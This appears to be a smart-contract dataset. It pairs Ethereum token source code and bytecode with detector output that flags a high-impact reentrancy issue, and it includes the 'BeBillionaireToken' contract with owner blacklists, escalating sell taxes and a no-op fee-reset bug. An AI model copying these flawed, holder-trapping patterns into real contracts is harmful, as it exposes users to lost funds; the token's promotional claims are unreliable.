_takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 17) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610315578063a9059cbb1461032a57600080fd5b8063273123b7116100f2578063273123b714610217578063313ce5671461023757806346df33b7146102535780636fc3eaec1461027357806370a082311461028857600080fd5b806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af5780631bbae6e0146101d557806323b872dd146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600a81526913595bdddd1a0810d85d60b21b60208201525b604051610176919061196f565b60405180910390f35b34801561018b57600080fd5b5061019f61019a366004611800565b61041a565b6040519015158152602001610176565b3480156101bb57600080fd5b50683635c9adc5dea000005b604051908152602001610176565b3480156101e157600080fd5b506101f56101f036600461192a565b610431565b005b34801561020357600080fd5b5061019f6102123660046117c0565b61047e565b34801561022357600080fd5b506101f5610232366004611750565b6104e7565b34801561024357600080fd5b5060405160098152602001610176565b34801561025f57600080fd5b506101f561026e3660046118f2565b610532565b34801561027f57600080fd5b506101f561057a565b34801561029457600080fd5b506101c76102a3366004611750565b6105ae565b3480156102b457600080fd5b506101f56105d0565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102f157600080fd5b506040805180820190915260078152660489a8a9eaea8960cb1b6020820152610169565b34801561032157600080fd5b506101f5610644565b34801561033657600080fd5b5061019f610345366004611800565b610883565b34801561035657600080fd5b506101f561036536600461182b565b610890565b34801561037657600080fd5b506101f5610934565b34801561038b57600080fd5b506101f5610974565b3480156103a057600080fd5b506101f56103af36600461192a565b610b3d565b3480156103c057600080fd5b506101f56103cf36600461192a565b610b75565b3480156103e057600080fd5b506101c76103ef366004611788565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610427338484610bad565b5060015b92915050565b6000546001600160a01b031633146104645760405162461bcd60e51b815260040161045b906119c2565b60405180910390fd5b6801158e460913d0000081111561047b5760108190555b50565b600061048b848484610cd1565b6104dd84336104d885604051806060016040528060288152602001611b40602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611006565b610bad565b5060019392505050565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161045b906119c2565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161045b906119c2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161045b906119c2565b4761047b81611040565b6001600160a01b03811660009081526002602052604081205461042b9061107a565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161045b906119c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161045b906119c2565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610760919061176c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e0919061176c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610860919061176c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610427338484610cd1565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161045b906119c2565b60005b8151811015610930576001600660008484815181106108ec57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092881611ad5565b9150506108bd565b5050565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161045b906119c2565b6000610969306105ae565b905061047b816110fe565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161045b906119c2565b600e546109bf9030906001600160a01b0316683635c9adc5dea00000610bad565b600e546001600160a01b031663f305d71947306109db816105ae565b6000806109f06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5357600080fd5b505af1158015610a67573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8c9190611942565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047b919061190e565b6000546001600160a01b03163314610b675760405162461bcd60e51b815260040161045b906119c2565b601181101561047b57600b55565b6000546001600160a01b03163314610b9f5760405162461bcd60e51b815260040161045b906119c2565b600c81101561047b57600c55565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b60008111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b6001600160a01b03831660009081526006602052604090205460ff1615610e1f57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e6157506001600160a01b03821660009081526005602052604090205460ff16155b15610ff6576000600955600c54600a55600f546001600160a01b038481169116148015610e9c5750600e546001600160a01b03838116911614155b8015610ec157506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed65750600f54600160b81b900460ff165b15610f03576000610ee6836105ae565b601054909150610ef683836112a3565b1115610f0157600080fd5b505b600f546001600160a01b038381169116148015610f2e5750600e546001600160a01b03848116911614155b8015610f5357506001600160a01b03831660009081526005602052604090205460ff16155b15610f64576000600955600b54600a555b6000610f6f306105ae565b600f54909150600160a81b900460ff16158015610f9a5750600f546001600160a01b03858116911614155b8015610faf5750600f54600160b01b900460ff165b15610ff4576000610fc1600483611a7f565b9050610fcd8183611abe565b9150610fd881611302565b610fe1826110fe565b478015610ff157610ff147611040565b50505b505b611001838383611338565b505050565b6000818484111561102a5760405162461bcd60e51b815260040161045b919061196f565b5060006110378486611abe565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b60006007548211156110e15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045b565b60006110eb611343565b90506110f78382611366565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061115457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e0919061176c565b8160018151811061120157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112279130911684610bad565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112609085906000908690309042906004016119f7565b600060405180830381600087803b15801561127a57600080fd5b505af115801561128e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112b08385611a67565b9050838110156110f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b600f805460ff60a81b1916600160a81b1790558015611328576113283061dead83610cd1565b50600f805460ff60a81b19169055565b6110018383836113a8565b600080600061135061149f565b909250905061135f8282611366565b9250505090565b60006110f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114e1565b6000806000806000806113ba8761150f565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ec908761156c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461141b90866112a3565b6001600160a01b03891660009081526002602052604090205561143d816115ae565b61144784836115f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148c91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006114bb8282611366565b8210156114d857505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836115025760405162461bcd60e51b815260040161045b919061196f565b5060006110378486611a7f565b600080600080600080600080600061152c8a600954600a5461161c565b925092509250600061153c611343565b9050600080600061154f8e878787611671565b919e509c509a509598509396509194505050505091939550919395565b60006110f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611006565b60006115b8611343565b905060006115c683836116c1565b306000908152600260205260409020549091506115e390826112a3565b30600090815260026020526040902055505050565b600754611605908361156c565b60075560085461161590826112a3565b6008555050565b6000808080611636606461163089896116c1565b90611366565b9050600061164960646116308a896116c1565b905060006116618261165b8b8661156c565b9061156c565b9992985090965090945050505050565b600080808061168088866116c1565b9050600061168e88876116c1565b9050600061169c88886116c1565b905060006116ae8261165b868661156c565b939b939a50919850919650505050505050565b6000826116d05750600061042b565b60006116dc8385611a9f565b9050826116e98583611a7f565b146110f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b803561174b81611b1c565b919050565b600060208284031215611761578081fd5b81356110f781611b1c565b60006020828403121561177d578081fd5b81516110f781611b1c565b6000806040838503121561179a578081fd5b82356117a581611b1c565b915060208301356117b581611b1c565b809150509250929050565b6000806000606084860312156117d4578081fd5b83356117df81611b1c565b925060208401356117ef81611b1c565b929592945050506040919091013590565b60008060408385031215611812578182fd5b823561181d81611b1c565b946020939093013593505050565b6000602080838503121561183d578182fd5b823567ffffffffffffffff80821115611854578384fd5b818501915085601f830112611867578384fd5b81358181111561187957611879611b06565b8060051b604051601f19603f8301168101818110858211171561189e5761189e611b06565b604052828152858101935084860182860187018a10156118bc578788fd5b8795505b838610156118e5576118d181611740565b8552600195909501949386019386016118c0565b5098975050505050505050565b600060208284031215611903578081fd5b81356110f781611b31565b60006020828403121561191f578081fd5b81516110f781611b31565b60006020828403121561193b578081fd5b5035919050565b600080600060608486031215611956578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561199b5785810183015185820160400152820161197f565b818111156119ac5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a465784516001600160a01b031683529383019391830191600101611a21565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7a57611a7a611af0565b500190565b600082611a9a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ab957611ab9611af0565b500290565b600082821015611ad057611ad0611af0565b500390565b6000600019821415611ae957611ae9611af0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047b57600080fd5b801515811461047b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e17846d824987c0d2c9176fb63028584259d5c0debe5e56aaaf5bcfcc40e5b564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,605
0x57880DD91488f491d4CF1f837660Aa0d31faEcB2
/** *Submitted for verification at Etherscan.io on 2021-07-14 */ /* https://t.me/BeBillionaireToken Token Information 1. 1,000,000,000 Total Supply 3. Developer provides LP 4. Fair launch for everyone! 5. Sells limited to 3% of the Liquidity Pool, <2.9% price impact 6. Sell cooldown increases on consecutive sells, 4 sells within a 1 hours period are allowed. 7. 2% redistribution to holders on all buys 8. 2% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 9. Redistribution actually works! 10. 5-10% developer & marketing fee */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract BeBillionaireToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BeBillionaireToken"; string private constant _symbol = "BB"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 20; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (5 minutes); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (10 minutes); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (20 minutes); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 hours); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; liquidityAdded = true; tradingOpen = true; _maxTxAmount = 1000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613216565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9d565b610418565b60405161016d91906131fb565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613398565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4e565b610446565b6040516101d591906131fb565b60405180910390f35b3480156101ea57600080fd5b506101f361051f565b604051610200919061340d565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd9565b610528565b005b34801561023e57600080fd5b506102476105da565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cc0565b61064c565b60405161027d9190613398565b60405180910390f35b34801561029257600080fd5b5061029b61069d565b005b3480156102a957600080fd5b506102b26107f0565b6040516102bf919061312d565b60405180910390f35b3480156102d457600080fd5b506102dd610819565b6040516102ea9190613216565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9d565b610856565b60405161032791906131fb565b60405180910390f35b34801561033c57600080fd5b50610345610874565b005b34801561035357600080fd5b5061035c6108ee565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e2b565b6109b9565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d12565b610b01565b6040516103bb9190613398565b60405180910390f35b3480156103d057600080fd5b506103d9610b88565b005b60606040518060400160405280601281526020017f426542696c6c696f6e61697265546f6b656e0000000000000000000000000000815250905090565b600061042c6104256110ae565b84846110b6565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610453848484611281565b6105148461045f6110ae565b61050f856040518060600160405280602881526020016139f760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c56110ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461203f9092919063ffffffff16565b6110b6565b600190509392505050565b60006009905090565b6105306110ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b4906132f8565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061b6110ae565b73ffffffffffffffffffffffffffffffffffffffff161461063b57600080fd5b6000479050610649816120a3565b50565b6000610696600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219e565b9050919050565b6106a56110ae565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610732576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610729906132f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6